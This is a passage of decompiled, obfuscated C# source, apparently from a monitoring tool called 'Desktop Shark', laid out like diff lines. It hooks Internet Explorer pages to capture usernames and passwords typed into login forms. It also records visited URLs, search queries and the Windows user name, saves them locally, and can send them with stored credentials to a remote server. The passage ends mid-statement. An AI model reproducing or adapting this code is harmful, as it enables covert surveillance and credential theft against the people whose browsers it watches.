this.\u1928ᙃ.Text = ᙵ.ឨᙂ; - this.\u1928ᙃ.Click += new EventHandler(this.ᡰᙃ); - this.ᣉᙃ.Image = (Image) Resources.disconnect; - this.ᣉᙃ.Name = ᙵ.ឪᙂ; - this.ᣉᙃ.Size = new Size(171, 22); - this.ᣉᙃ.Text = ᙵ.ឬᙂ; - this.ᣉᙃ.Click += new EventHandler(this.ᡣᙃ); - this.ᣳᙃ.Name = ᙵ.ឮᙂ; - this.ᣳᙃ.Size = new Size(6, 25); - this.ᤍᙃ.DisplayStyle = ToolStripItemDisplayStyle.Text; - this.ᤍᙃ.DropDownItems.AddRange(new ToolStripItem[8] - { - (ToolStripItem) this.ᤎᙃ, - (ToolStripItem) this.ᤏᙃ, - (ToolStripItem) this.\u193Eᙃ, - (ToolStripItem) this.ᤑᙃ, - (ToolStripItem) this.\u1926ᙃ, - (ToolStripItem) this.ᥗᙃ, - (ToolStripItem) this.\u1930ᙃ, - (ToolStripItem) this.\u1927ᙃ - }); - this.ᤍᙃ.Image = (Image) componentResourceManager.GetObject(ᙵ.ឰᙂ); - this.ᤍᙃ.ImageTransparentColor = System.Drawing.Color.Magenta; - this.ᤍᙃ.Name = ᙵ.ឲᙂ; - this.ᤍᙃ.Size = new Size(45, 22); - this.ᤍᙃ.Text = ᙵ.\u17C2ᙂ; - this.ᤎᙃ.Image = (Image) Resources.keyboard; - this.ᤎᙃ.Name = ᙵ.\u17C4ᙂ; - this.ᤎᙃ.Size = new Size(180, 22); - this.ᤎᙃ.Text = ᙵ.\u17C6ᙂ; - this.ᤎᙃ.Click += new EventHandler(this.ᢵᙃ); - this.ᤏᙃ.Image = (Image) Resources.images; - this.ᤏᙃ.Name = ᙵ.\u17C8ᙂ; - this.ᤏᙃ.Size = new Size(180, 22); - this.ᤏᙃ.Text = ᙵ.\u17CAᙂ; - this.ᤏᙃ.Click += new EventHandler(this.ᢂᙃ); - this.\u193Eᙃ.Image = (Image) Resources.transmit; - this.\u193Eᙃ.Name = ᙵ.\u17D8ᙂ; - this.\u193Eᙃ.Size = new Size(180, 22); - this.\u193Eᙃ.Text = ᙵ.\u17CEᙂ; - this.\u193Eᙃ.Click += new EventHandler(this.ᢃᙃ); - this.ᤑᙃ.Image = (Image) Resources.book_addresses; - this.ᤑᙃ.Name = ᙵ.\u17FEᙂ; - this.ᤑᙃ.Size = new Size(180, 22); - this.ᤑᙃ.Text = ᙵ.\u17D2ᙂ; - this.ᤑᙃ.Click += new EventHandler(this.ᢄᙃ); - this.\u1926ᙃ.Image = (Image) Resources.magnifier; - this.\u1926ᙃ.Name = ᙵ.\u17D4ᙂ; - this.\u1926ᙃ.Size = new Size(180, 22); - this.\u1926ᙃ.Text = ᙵ.\u17D6ᙂ; - this.\u1926ᙃ.Click += new EventHandler(this.ᢅᙃ); - this.ᥗᙃ.Image = (Image) componentResourceManager.GetObject(ᙵ.\u17C0ᙂ); - this.ᥗᙃ.Name = ᙵ.\u17DAᙂ; - this.ᥗᙃ.Size = new Size(180, 22); - this.ᥗᙃ.Text = ᙵ.\u17D9ᙂ; - this.ᥗᙃ.Click += new EventHandler(this.ᢆᙃ); - this.\u1930ᙃ.Image = (Image) Resources.key; - this.\u1930ᙃ.Name = ᙵ.\u17DEᙂ; - this.\u1930ᙃ.Size = new Size(180, 22); - this.\u1930ᙃ.Text = ᙵ.\u17E0ᙂ; - this.\u1930ᙃ.Click += new EventHandler(this.ᢇᙃ); - this.\u1927ᙃ.Image = (Image) Resources.cog; - this.\u1927ᙃ.Name = ᙵ.\u17E2ᙂ; - this.\u1927ᙃ.Size = new Size(180, 22); - this.\u1927ᙃ.Text = ᙵ.\u17E4ᙂ; - this.\u1927ᙃ.Click += new EventHandler(this.ᢈᙃ); - this.ᤒᙃ.Name = ᙵ.\u17E6ᙂ; - this.ᤒᙃ.Size = new Size(6, 25); - this.ᣚᙃ.DisplayStyle = ToolStripItemDisplayStyle.Text; - this.ᣚᙃ.DropDownItems.AddRange(new ToolStripItem[3] - { - (ToolStripItem) this.ᣛᙃ, - (ToolStripItem) this.ᣙᙃ, - (ToolStripItem) this.\u1940ᙃ - }); - this.ᣚᙃ.Image = (Image) componentResourceManager.GetObject(ᙵ.\u17E8ᙂ); - this.ᣚᙃ.ImageTransparentColor = System.Drawing.Color.Magenta; - this.ᣚᙃ.Name = ᙵ.\u17EAᙂ; - this.ᣚᙃ.Size = new Size(45, 22); - this.ᣚᙃ.Text = ᙵ.\u17ECᙂ; - this.ᣛᙃ.Image = (Image) Resources.comment; - this.ᣛᙃ.Name = ᙵ.\u17EEᙂ; - this.ᣛᙃ.Size = new Size(222, 22); - this.ᣛᙃ.Text = ᙵ.\u17F0ᙂ; - this.ᣛᙃ.Click += new EventHandler(this.ᡧᙃ); - this.ᣙᙃ.Image = (Image) Resources.note_error; - this.ᣙᙃ.Name = ᙵ.\u17F2ᙂ; - this.ᣙᙃ.Size = new Size(222, 22); - this.ᣙᙃ.Text = ᙵ.\u1802ᙂ; - this.ᣙᙃ.Click += new EventHandler(this.ᡨᙃ); - this.\u1940ᙃ.Image = (Image) componentResourceManager.GetObject(ᙵ.\u1804ᙂ); - this.\u1940ᙃ.Name = ᙵ.\u1806ᙂ; - this.\u1940ᙃ.Size = new Size(222, 22); - this.\u1940ᙃ.Text = ᙵ.\u1808ᙂ; - this.\u1940ᙃ.Click += new EventHandler(this.ᢝᙃ); - this.ᣖᙃ.Items.AddRange(new ToolStripItem[3] - { - (ToolStripItem) this.ᥧᙃ, - (ToolStripItem) this.ᥨᙃ, - (ToolStripItem) this.ᥩᙃ - }); - this.ᣖᙃ.Location = new Point(0, 444); - this.ᣖᙃ.Name = ᙵ.\u180Aᙂ; - this.ᣖᙃ.Size = new Size(856, 24); - this.ᣖᙃ.TabIndex = 6; - this.ᣖᙃ.Text = ᙵ.\u1818ᙂ; - this.ᥧᙃ.BackColor = SystemColors.Control; - this.ᥧᙃ.ForeColor = SystemColors.ActiveCaptionText; - this.ᥧᙃ.Name = ᙵ.\u180Eᙂ; - this.ᥧᙃ.Size = new Size(102, 19); - this.ᥧᙃ.Text = ᙵ.ᠾᙂ; - this.ᥨᙃ.BackColor = SystemColors.Control; - this.ᥨᙃ.BorderSides = ToolStripStatusLabelBorderSides.Left; - this.ᥨᙃ.Name = ᙵ.\u1812ᙂ; - this.ᥨᙃ.Size = new Size(150, 19); - this.ᥨᙃ.Text = ᙵ.\u1814ᙂ; - this.ᥩᙃ.BackColor = SystemColors.Control; - this.ᥩᙃ.BorderSides = ToolStripStatusLabelBorderSides.Left; - this.ᥩᙃ.Name = ᙵ.\u1816ᙂ; - this.ᥩᙃ.Size = new Size(97, 19); - this.ᥩᙃ.Text = ᙵ.\u1800ᙂ; - this.ᤃᙃ.ColorDepth = ColorDepth.Depth8Bit; - this.ᤃᙃ.ImageSize = new Size(16, 16); - this.ᤃᙃ.TransparentColor = System.Drawing.Color.Transparent; - this.\u1931ᙃ.AutoSize = true; - this.\u1931ᙃ.Font = new Font(ᙵ.\u181Aᙂ, 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.\u1931ᙃ.ForeColor = System.Drawing.Color.Linen; - this.\u1931ᙃ.Location = new Point(13, 89); - this.\u1931ᙃ.Name = ᙵ.\u1819ᙂ; - this.\u1931ᙃ.Size = new Size(132, 16); - this.\u1931ᙃ.TabIndex = 8; - this.\u1931ᙃ.Text = ᙵ.\u181Eᙂ; - this.ᤉᙃ.Image = (Image) Resources.Logo; - this.ᤉᙃ.Location = new Point(561, 29); - this.ᤉᙃ.Name = ᙵ.ᠠᙂ; - this.ᤉᙃ.Size = new Size(276, 76); - this.ᤉᙃ.TabIndex = 7; - this.ᤉᙃ.TabStop = false; - this.ᤆᙃ.Location = new Point(0, 0); - this.ᤆᙃ.Name = ᙵ.ᠢᙂ; - this.ᤆᙃ.Size = new Size(629, 288); - this.ᤆᙃ.TabIndex = 0; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.BackColor = System.Drawing.Color.FromArgb(75, 75, 75); - this.ClientSize = new Size(856, 468); - this.Controls.Add((Control) this.\u1931ᙃ); - this.Controls.Add((Control) this.ᤉᙃ); - this.Controls.Add((Control) this.ᣖᙃ); - this.Controls.Add((Control) this.ᣆᙃ); - this.Controls.Add((Control) this.ᣄᙃ); - this.FormBorderStyle = FormBorderStyle.Fixed3D; - this.Icon = (Icon) componentResourceManager.GetObject(ᙵ.ᠤᙂ); - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = ᙵ.ᠦᙂ; - this.ShowInTaskbar = false; - this.Load += new EventHandler(this.ᡱᙃ); - this.FormClosing += new FormClosingEventHandler(this.ᡥᙃ); - this.ᣄᙃ.ResumeLayout(false); - this.ᣅᙃ.ResumeLayout(false); - this.ᣅᙃ.PerformLayout(); - this.ᣝᙃ.ResumeLayout(false); - this.ᣝᙃ.PerformLayout(); - this.ᣡᙃ.ResumeLayout(false); - this.ᣡᙃ.PerformLayout(); - ((ISupportInitialize) this.ᥦᙃ).EndInit(); - this.ᣟᙃ.ResumeLayout(false); - ((ISupportInitialize) this.ᣠᙃ).EndInit(); - this.ᣩᙃ.ResumeLayout(false); - this.ᣩᙃ.PerformLayout(); - ((ISupportInitialize) this.ᥞᙃ).EndInit(); - this.ᤕᙃ.ResumeLayout(false); - this.ᤕᙃ.PerformLayout(); - ((ISupportInitialize) this.ᤖᙃ).EndInit(); - this.ᤙᙃ.ResumeLayout(false); - ((ISupportInitialize) this.ᤝᙃ).EndInit(); - this.\u1946ᙃ.ResumeLayout(false); - this.\u1946ᙃ.PerformLayout(); - ((ISupportInitialize) this.\u1947ᙃ).EndInit(); - this.\u1929ᙃ.ResumeLayout(false); - this.\u1929ᙃ.PerformLayout(); - ((ISupportInitialize) this.ᥝᙃ).EndInit(); - this.ᣋᙃ.ResumeLayout(false); - this.ᣋᙃ.PerformLayout(); - this.ᥒᙃ.ResumeLayout(false); - this.ᥒᙃ.PerformLayout(); - ((ISupportInitialize) this.ᥙᙃ).EndInit(); - ((ISupportInitialize) this.ᥛᙃ).EndInit(); - this.ᣍᙃ.ResumeLayout(false); - this.ᣍᙃ.PerformLayout(); - ((ISupportInitialize) this.ᥚᙃ).EndInit(); - this.ᣘᙃ.ResumeLayout(false); - this.ᣘᙃ.PerformLayout(); - this.ᣆᙃ.ResumeLayout(false); - this.ᣆᙃ.PerformLayout(); - this.ᣖᙃ.ResumeLayout(false); - this.ᣖᙃ.PerformLayout(); - ((ISupportInitialize) this.ᤉᙃ).EndInit(); - this.ResumeLayout(false); - this.PerformLayout(); - } - - private void ᡉᙃ(object ᙂ, EventArgs ᙄ) - { - Settings.Default.SpecialKeysDisabled = this.ᤇᙃ.Checked; - Settings.Default.Save(); - this.\u177E(); - } - - public static ᙀ ᙬ - { - get => ᙀ.ᙊᙄ; - set => ᙀ.ᙊᙄ = value; - } - - public ᙀ() - { - if (ᙀ.ᙊᙄ == null) - ᙀ.ᙊᙄ = this; - this.ᡈᙃ(); - this.ᥲᙃ.ឨ(new Exception("Desktop Shark has started.")); - this.\u196Eᙃ = Environment.GetCommandLineArgs(); - this.ᡞᙃ(); - this.ᡟᙃ(); - this.\u175A(); - SystemEvents.SessionEnding += new SessionEndingEventHandler(this.ᡊᙃ); - if (Settings.Default.AutomaticUpdate) - this.ᝤ(true); - this.ᡝᙃ(); - this.ᡙᙃ(); - this.ᙏᙄ = new \u1806(); - this.ᡋᙃ(); - this.ᡓᙃ(); - this.ᡔᙃ(); - this.ᡒᙃ(); - this.\u1752(this.ᣃᙃ.numberOfLogs()); - } - - protected override void WndProc(ref Message m) - { - if (m.Msg == this.ᥱᙃ) - this.ᥪᙃ = true; - base.WndProc(ref m); - } - - private void ᡊᙃ(object ᙂ, SessionEndingEventArgs ᙄ) - { - this.ᥪᙃ = true; - this.ᡤᙃ(); - } - - public void ᝀ() - { - this.ᥪᙃ = true; - this.Close(); - } - - public void \u1754(string pw) - { - this.\u192Dᙃ.Text = pw; - this.\u192Cᙃ.Text = pw; - } - - public void ᝈ(bool freeTrial) - { - try - { - if (freeTrial) - { - if (Settings.Default.CurrentVersion != "") - { - this.\u1931ᙃ.Text = string.Format("Administration Console v{0} ({1})", (object) Settings.Default.CurrentVersion, (object) "Free Trial"); - this.ᥩᙃ.Text = string.Format("Status: {0}", (object) "Free Trial"); - } - else - { - this.\u1931ᙃ.Text = "Administration Console"; - this.ᥩᙃ.Text = string.Format("Status: {0}", (object) "Administration Console"); - } - } - else if (Settings.Default.ActivationCode != "") - { - this.\u1931ᙃ.Text = string.Format("Administration Console v{0} ({1})", (object) Settings.Default.CurrentVersion, (object) Settings.Default.ActivationCode); - this.ᥩᙃ.Text = string.Format("Status: {0}", (object) Settings.Default.ActivationCode); - } - else - { - this.\u1931ᙃ.Text = string.Format("Administration Console v{0} ({1})", (object) Settings.Default.CurrentVersion, (object) "Free Trial Expired"); - this.ᥩᙃ.Text = string.Format("Status: {0}", (object) "Free Trial Expired"); - } - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - private void ᡋᙃ() - { - try - { - // ISSUE: method pointer - ((DShellWindowsEvents_Event) this.ᙂᙄ).WindowRegistered += new DShellWindowsEvents_WindowRegisteredEventHandler((object) this, (UIntPtr) __methodptr(ᡚᙃ)); - // ISSUE: method pointer - ((DShellWindowsEvents_Event) this.ᙂᙄ).WindowRevoked += new DShellWindowsEvents_WindowRevokedEventHandler((object) this, (UIntPtr) __methodptr(ᡛᙃ)); - this.ᡎᙃ(); - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - private InternetExplorer ᡘᙃ(string ᙂ) - { - foreach (InternetExplorer internetExplorer in this.ᙃᙄ) - { - if (((IWebBrowser2) internetExplorer).LocationURL == ᙂ) - return internetExplorer; - } - return (InternetExplorer) null; - } - - private bool ᡍᙃ(InternetExplorer ᙂ) - { - foreach (InternetExplorer internetExplorer in this.ᙃᙄ) - { - if (ᙂ == internetExplorer) - return true; - } - return false; - } - - private void ᡎᙃ() - { - try - { - foreach (InternetExplorer ᙂ in (IShellWindows) this.ᙂᙄ) - { - if (!this.ᡍᙃ(ᙂ) && ᙂ != null) - { - // ISSUE: method pointer - ((DWebBrowserEvents2_Event) ᙂ).NavigateComplete2 += new DWebBrowserEvents2_NavigateComplete2EventHandler((object) this, (UIntPtr) __methodptr(ᡳᙃ)); - // ISSUE: method pointer - ((DWebBrowserEvents2_Event) ᙂ).DocumentComplete += new DWebBrowserEvents2_DocumentCompleteEventHandler((object) this, (UIntPtr) __methodptr(ᡕᙃ)); - this.ᙃᙄ.Add(ᙂ); - } - } - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - private int ᡏᙃ(string ᙂ, DateTime ᙄ, string ᙆ, string ᙈ) - { - try - { - ᙆ objectToSerialize = new ᙆ(); - Uri uri = new Uri(ᙂ); - if (this.ᤝᙃ.Rows.Count != 0) - { - int count = this.ᤝᙃ.Rows.Count; - } - string query = uri.Query == "" ? uri.OriginalString : uri.Query; - string s = HttpUtility.ParseQueryString(query).Get("q"); - if (s == "" || s == null) - s = HttpUtility.ParseQueryString(query).Get("p"); - string str = HttpUtility.HtmlDecode(s); - if (!(this.ᙄᙄ != str)) - return -1; - int num = this.ᤝᙃ.Rows.Add((object) (this.ᤝᙃ.Rows.Count + 1), (object) str, (object) ᙄ, (object) ᙆ, (object) uri.Host); - this.ᙄᙄ = str; - using (ᙄ ᙄ1 = new ᙄ()) - { - ᙄ1.ID = this.ᤝᙃ.Rows.Count + 1; - ᙄ1.URL = str; - ᙄ1.DATE = ᙄ; - ᙄ1.USER = ᙆ; - ᙄ1.SENDER = uri.Host; - this.ᙈᙄ.Add(ᙄ1); - } - objectToSerialize.ᙈ = this.ᙈᙄ; - ᙾ.ᙔ(ᙵ.ᠨᙂ, objectToSerialize); - if (Settings.Default.RemoteAccess) - { - អ អ = new អ(); - អ.ឪ(អ.ឮ, ᙵ.ᠪᙂ + HttpUtility.UrlEncode(អ.ឤ(Settings.Default.RemoteUser)) + "," + HttpUtility.UrlEncode(អ.ឤ(Settings.Default.RemotePass)) + "," + HttpUtility.UrlEncode(អ.ឤ(s)) + "," + HttpUtility.UrlEncode(អ.ឤ(ᙄ.ToString())) + "," + HttpUtility.UrlEncode(អ.ឤ(ᙆ)) + "," + HttpUtility.UrlEncode(អ.ឤ(uri.Host))); - } - return num; - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - return -1; - } - - private int \u187Eᙃ(string ᙂ, DateTime ᙄ, string ᙆ, string ᙈ) - { - try - { - bool flag = false; - foreach (ᙄ ᙄ1 in this.ᙉᙄ) - { - if (ᙄ1.URL == ᙂ && ᙄ1.USER == ᙆ && ᙄ1.SENDER == ᙈ) - flag = true; - } - if (flag) - return 1; - ᙆ objectToSerialize = new ᙆ(); - int num1; - if (this.\u1947ᙃ.ColumnCount <= 0) - num1 = 0; - else - num1 = this.\u1947ᙃ.Rows.Add((object) (this.\u1947ᙃ.Rows.Count + 1), (object) ᙂ, (object) ᙆ, (object) ᙈ, (object) ᙄ); - int num2 = num1; - using (ᙄ ᙄ2 = new ᙄ()) - { - ᙄ2.ID = this.\u1947ᙃ.Rows.Count + 1; - ᙄ2.URL = ᙂ; - ᙄ2.DATE = ᙄ; - ᙄ2.USER = ᙆ; - ᙄ2.SENDER = ᙈ; - this.ᙉᙄ.Add(ᙄ2); - } - objectToSerialize.ᙈ = this.ᙉᙄ; - ᙾ.ᙔ(ᙵ.ᠬᙂ, objectToSerialize); - return num2; - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - return -1; - } - - private int ᡑᙃ(string ᙂ, DateTime ᙄ, string ᙆ, string ᙈ) - { - try - { - if (ᙂ == null) - ᙂ = ""; - if (ᙆ == null) - ᙆ = ""; - if (ᙈ == null) - ᙈ = ""; - if (!(this.ᙅᙄ != ᙂ)) - return -1; - ᙆ objectToSerialize = new ᙆ(); - if (this.ᤖᙃ.Rows.Count != 0) - { - int count = this.ᤖᙃ.Rows.Count; - } - int num1; - if (this.ᤖᙃ.ColumnCount <= 0) - num1 = 0; - else - num1 = this.ᤖᙃ.Rows.Add((object) (this.ᤖᙃ.Rows.Count + 1), (object) ᙂ, (object) ᙄ, (object) ᙆ, (object) ᙈ); - int num2 = num1; - this.ᙅᙄ = ᙂ; - if (ᙂ.Contains(ᙵ.ᠮᙂ) || ᙂ.Contains(ᙵ.ᠰᙂ) || ᙂ.Contains(ᙵ.ᠲᙂ) || ᙂ.Contains(ᙵ.ᡂᙂ)) - this.ᡏᙃ(ᙂ, ᙄ, ᙆ, ᙈ); - using (ᙄ ᙄ1 = new ᙄ()) - { - ᙄ1.ID = this.ᤖᙃ.Rows.Count + 1; - ᙄ1.URL = ᙂ; - ᙄ1.DATE = ᙄ; - ᙄ1.USER = ᙆ; - ᙄ1.SENDER = ᙈ; - this.ᙇᙄ.Add(ᙄ1); - } - objectToSerialize.ᙈ = this.ᙇᙄ; - ᙾ.ᙔ(ᙵ.ᡄᙂ, objectToSerialize); - if (Settings.Default.RemoteAccess) - { - អ អ = new អ(); - អ.ឪ(អ.ឮ, ᙵ.ᡆᙂ + HttpUtility.UrlEncode(អ.ឤ(Settings.Default.RemoteUser)) + "," + HttpUtility.UrlEncode(អ.ឤ(Settings.Default.RemotePass)) + "," + HttpUtility.UrlEncode(អ.ឤ(ᙂ)) + "," + HttpUtility.UrlEncode(អ.ឤ(ᙄ.ToString())) + "," + HttpUtility.UrlEncode(អ.ឤ(ᙆ)) + "," + HttpUtility.UrlEncode(អ.ឤ(ᙈ))); - } - return num2; - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - return -1; - } - - private void ᡒᙃ() - { - try - { - ᙆ ᙆ = ᙾ.ᙒ(ᙵ.ᡈᙂ); - if (ᙆ == null) - return; - this.ᙉᙄ = ᙆ.ᙈ; - if (this.ᙉᙄ == null || this.ᙉᙄ.Count <= 0) - return; - foreach (ᙄ ᙄ in this.ᙉᙄ) - this.\u1947ᙃ.Rows.Add((object) ᙄ.ID, (object) ᙄ.URL, (object) ᙄ.USER, (object) ᙄ.SENDER, (object) ᙄ.DATE); - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - private void ᡓᙃ() - { - try - { - ᙆ ᙆ = ᙾ.ᙒ(ᙵ.ᡊᙂ); - if (ᙆ == null) - return; - this.ᙇᙄ = ᙆ.ᙈ; - if (this.ᙇᙄ == null || this.ᙇᙄ.Count <= 0) - return; - foreach (ᙄ ᙄ in this.ᙇᙄ) - this.ᤖᙃ.Rows.Add((object) ᙄ.ID, (object) ᙄ.URL, (object) ᙄ.DATE, (object) ᙄ.USER, (object) ᙄ.SENDER); - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - private void ᡔᙃ() - { - try - { - ᙆ ᙆ = ᙾ.ᙒ(ᙵ.ᡘᙂ); - if (ᙆ == null) - return; - this.ᙈᙄ = ᙆ.ᙈ; - if (this.ᙈᙄ == null || this.ᙈᙄ.Count <= 0) - return; - foreach (ᙄ ᙄ in this.ᙈᙄ) - this.ᤝᙃ.Rows.Add((object) ᙄ.ID, (object) ᙄ.URL, (object) ᙄ.DATE, (object) ᙄ.USER, (object) ᙄ.SENDER); - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - public void ᙠ(string un, string pw, string site) - { - try - { - if (this.\u1947ᙃ.InvokeRequired) - { - this.Invoke((Delegate) new ᙀ.ᡆᙃ(this.\u187Eᙃ), (object) site, (object) DateTime.Now, (object) un, (object) pw); - } - else - { - if (this.\u1947ᙃ.ColumnCount <= 0) - return; - this.\u1947ᙃ.Rows.Add((object) (this.\u1947ᙃ.Rows.Count + 1), (object) site, (object) un, (object) pw, (object) DateTime.Now); - } - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - public void ᙞ(string sender, string url) - { - try - { - if (this.ᤖᙃ.InvokeRequired) - this.Invoke((Delegate) new ᙀ.ᡆᙃ(this.ᡑᙃ), (object) url, (object) DateTime.Now, (object) Environment.UserName, (object) sender); - else - this.ᤖᙃ.Rows.Add((object) url, (object) DateTime.Now, (object) Environment.UserName, (object) sender); - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - private void ᡕᙃ(object ᙂ, ref object ᙄ) - { - try - { - InternetExplorer internetExplorer = (InternetExplorer) ᙂ; - if (((IWebBrowser2) internetExplorer).LocationURL.Contains(ᙵ.ᡎᙂ) && this.ᙍᙄ != ᙵ.\u187Eᙂ) - { - this.ᙘᙄ = (IHTMLDocument3) ((IWebBrowser2) internetExplorer).Document; - IHTMLElement elementById = this.ᙘᙄ.getElementById(ᙵ.ᡒᙂ); - if (elementById == null) - return; - this.ᙍᙄ = ᙵ.ᡔᙂ; - this.ᙋᙄ = elementById as DispHTMLInputElement as HTMLButtonElementEvents_Event; - // ISSUE: method pointer - this.ᙋᙄ.onclick += new HTMLButtonElementEvents_onclickEventHandler((object) this, (UIntPtr) __methodptr(ᡗᙃ)); - } - else if (((IWebBrowser2) internetExplorer).LocationURL.Contains(ᙵ.ᡖᙂ) && this.ᙍᙄ != ᙵ.ᡀᙂ) - { - this.ᙘᙄ = (IHTMLDocument3) ((IWebBrowser2) internetExplorer).Document; - foreach (IHTMLInputElement ihtmlInputElement in this.ᙘᙄ.getElementsByTagName(ᙵ.ᡚᙂ)) - { - if (ihtmlInputElement.type.Equals(ᙵ.ᡙᙂ) && ihtmlInputElement.value.Equals(ᙵ.ᡞᙂ)) - { - this.ᙍᙄ = ᙵ.ᡠᙂ; - this.ᙋᙄ = ihtmlInputElement as DispHTMLInputElement as HTMLButtonElementEvents_Event; - // ISSUE: method pointer - this.ᙋᙄ.onclick += new HTMLButtonElementEvents_onclickEventHandler((object) this, (UIntPtr) __methodptr(ᡗᙃ)); - } - } - } - else if (((IWebBrowser2) internetExplorer).LocationURL.Contains(ᙵ.ᡢᙂ) && this.ᙍᙄ != ᙵ.ᡤᙂ) - { - this.ᙘᙄ = (IHTMLDocument3) ((IWebBrowser2) internetExplorer).Document; - IHTMLElementCollection elementsByName = this.ᙘᙄ.getElementsByName(ᙵ.ᡦᙂ); - if (elementsByName == null || elementsByName.length <= 0) - return; - foreach (IHTMLButtonElement ihtmlButtonElement in elementsByName) - { - if (ihtmlButtonElement.type == ᙵ.ᡨᙂ) - { - this.ᙍᙄ = ᙵ.ᡪᙂ; - this.ᙋᙄ = ihtmlButtonElement as DispHTMLInputElement as HTMLButtonElementEvents_Event; - // ISSUE: method pointer - this.ᙋᙄ.onmousedown += new HTMLButtonElementEvents_onmousedownEventHandler((object) this, (UIntPtr) __methodptr(ᡀᙃ)); - } - } - } - else if (((IWebBrowser2) internetExplorer).LocationURL.Contains(ᙵ.ᡬᙂ) && this.ᙍᙄ != ᙵ.ᡮᙂ) - { - this.ᙘᙄ = (IHTMLDocument3) ((IWebBrowser2) internetExplorer).Document; - IHTMLElementCollection elementsByName = this.ᙘᙄ.getElementsByName(ᙵ.ᡰᙂ); - if (elementsByName == null || elementsByName.length <= 0) - return; - foreach (IHTMLButtonElement ihtmlButtonElement in elementsByName) - { - if (ihtmlButtonElement.type == ᙵ.ᡲᙂ) - { - this.ᙍᙄ = ᙵ.ᢂᙂ; - this.ᙋᙄ = ihtmlButtonElement as DispHTMLInputElement as HTMLButtonElementEvents_Event; - // ISSUE: method pointer - this.ᙋᙄ.onmousedown += new HTMLButtonElementEvents_onmousedownEventHandler((object) this, (UIntPtr) __methodptr(ᡀᙃ)); - } - } - } - else if (((IWebBrowser2) internetExplorer).LocationURL.Contains(ᙵ.ᢄᙂ) && this.ᙍᙄ != ᙵ.ᢆᙂ) - { - this.ᙘᙄ = (IHTMLDocument3) ((IWebBrowser2) internetExplorer).Document; - IHTMLElementCollection elementsByName = this.ᙘᙄ.getElementsByName(ᙵ.ᢈᙂ); - if (elementsByName == null || elementsByName.length <= 0) - return; - foreach (IHTMLButtonElement ihtmlButtonElement in elementsByName) - { - if (ihtmlButtonElement.type == ᙵ.ᢊᙂ) - { - this.ᙍᙄ = ᙵ.ᢘᙂ; - this.ᙋᙄ = ihtmlButtonElement as DispHTMLInputElement as HTMLButtonElementEvents_Event; - // ISSUE: method pointer - this.ᙋᙄ.onclick += new HTMLButtonElementEvents_onclickEventHandler((object) this, (UIntPtr) __methodptr(ᡗᙃ)); - } - } - } - else if (((IWebBrowser2) internetExplorer).LocationURL.Contains(ᙵ.ᢎᙂ) && this.ᙍᙄ != ᙵ.ᢾᙂ) - { - this.ᙘᙄ = (IHTMLDocument3) ((IWebBrowser2) internetExplorer).Document; - IHTMLElement elementById = this.ᙘᙄ.getElementById(ᙵ.ᢒᙂ); - if (elementById == null) - return; - this.ᙍᙄ = ᙵ.ᢔᙂ; - this.ᙋᙄ = elementById as DispHTMLInputElement as HTMLButtonElementEvents_Event; - // ISSUE: method pointer - this.ᙋᙄ.onclick += new HTMLButtonElementEvents_onclickEventHandler((object) this, (UIntPtr) __methodptr(ᡗᙃ)); - } - else - { - if (!((IWebBrowser2) internetExplorer).LocationURL.Contains(ᙵ.ᢖᙂ) || !(this.ᙍᙄ != ᙵ.ᢀᙂ)) - return; - this.ᙘᙄ = (IHTMLDocument3) ((IWebBrowser2) internetExplorer).Document; - foreach (IHTMLInputElement ihtmlInputElement in this.ᙘᙄ.getElementsByTagName(ᙵ.ᢚᙂ)) - { - if (ihtmlInputElement.type.Equals(ᙵ.ᢙᙂ) && ihtmlInputElement.value.Equals(ᙵ.ᢞᙂ)) - { - this.ᙍᙄ = ᙵ.ᢠᙂ; - this.ᙋᙄ = ihtmlInputElement as DispHTMLInputElement as HTMLButtonElementEvents_Event; - // ISSUE: method pointer - this.ᙋᙄ.onclick += new HTMLButtonElementEvents_onclickEventHandler((object) this, (UIntPtr) __methodptr(ᡗᙃ)); - } - } - } - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - private void ᡖᙃ() - { - try - { - string ᙍᙄ; - if ((ᙍᙄ = this.ᙍᙄ) == null) - return; - // ISSUE: reference to a compiler-generated field - if (\u003CPrivateImplementationDetails\u003E\u007B6CDA95EB\u002D71F6\u002D4208\u002D9457\u002DA4691689EAC1\u007D.\u0024\u0024method0x60000f3\u002D1 == null) - { - // ISSUE: reference to a compiler-generated field - \u003CPrivateImplementationDetails\u003E\u007B6CDA95EB\u002D71F6\u002D4208\u002D9457\u002DA4691689EAC1\u007D.\u0024\u0024method0x60000f3\u002D1 = new Dictionary(7) - { - { - ᙵ.ᢢᙂ, - 0 - }, - { - ᙵ.ᢤᙂ, - 1 - }, - { - ᙵ.ᢦᙂ, - 2 - }, - { - ᙵ.ᢨᙂ, - 3 - }, - { - ᙵ.ᢪᙂ, - 4 - }, - { - ᙵ.\u18ACᙂ, - 5 - }, - { - ᙵ.\u18AEᙂ, - 6 - } - }; - } - int num; - // ISSUE: reference to a compiler-generated field - // ISSUE: explicit non-virtual call - if (!__nonvirtual (\u003CPrivateImplementationDetails\u003E\u007B6CDA95EB\u002D71F6\u002D4208\u002D9457\u002DA4691689EAC1\u007D.\u0024\u0024method0x60000f3\u002D1.TryGetValue(ᙍᙄ, out num))) - return; - switch (num) - { - case 0: - this.ᙠ(((DispHTMLInputElement) this.ᙘᙄ.getElementById(ᙵ.ᢰᙂ)).value, ((DispHTMLInputElement) this.ᙘᙄ.getElementById(ᙵ.ᢲᙂ)).value, this.ᙍᙄ); - break; - case 1: - this.ᙠ(((DispHTMLInputElement) this.ᙘᙄ.getElementById(ᙵ.ᣂᙂ)).value, 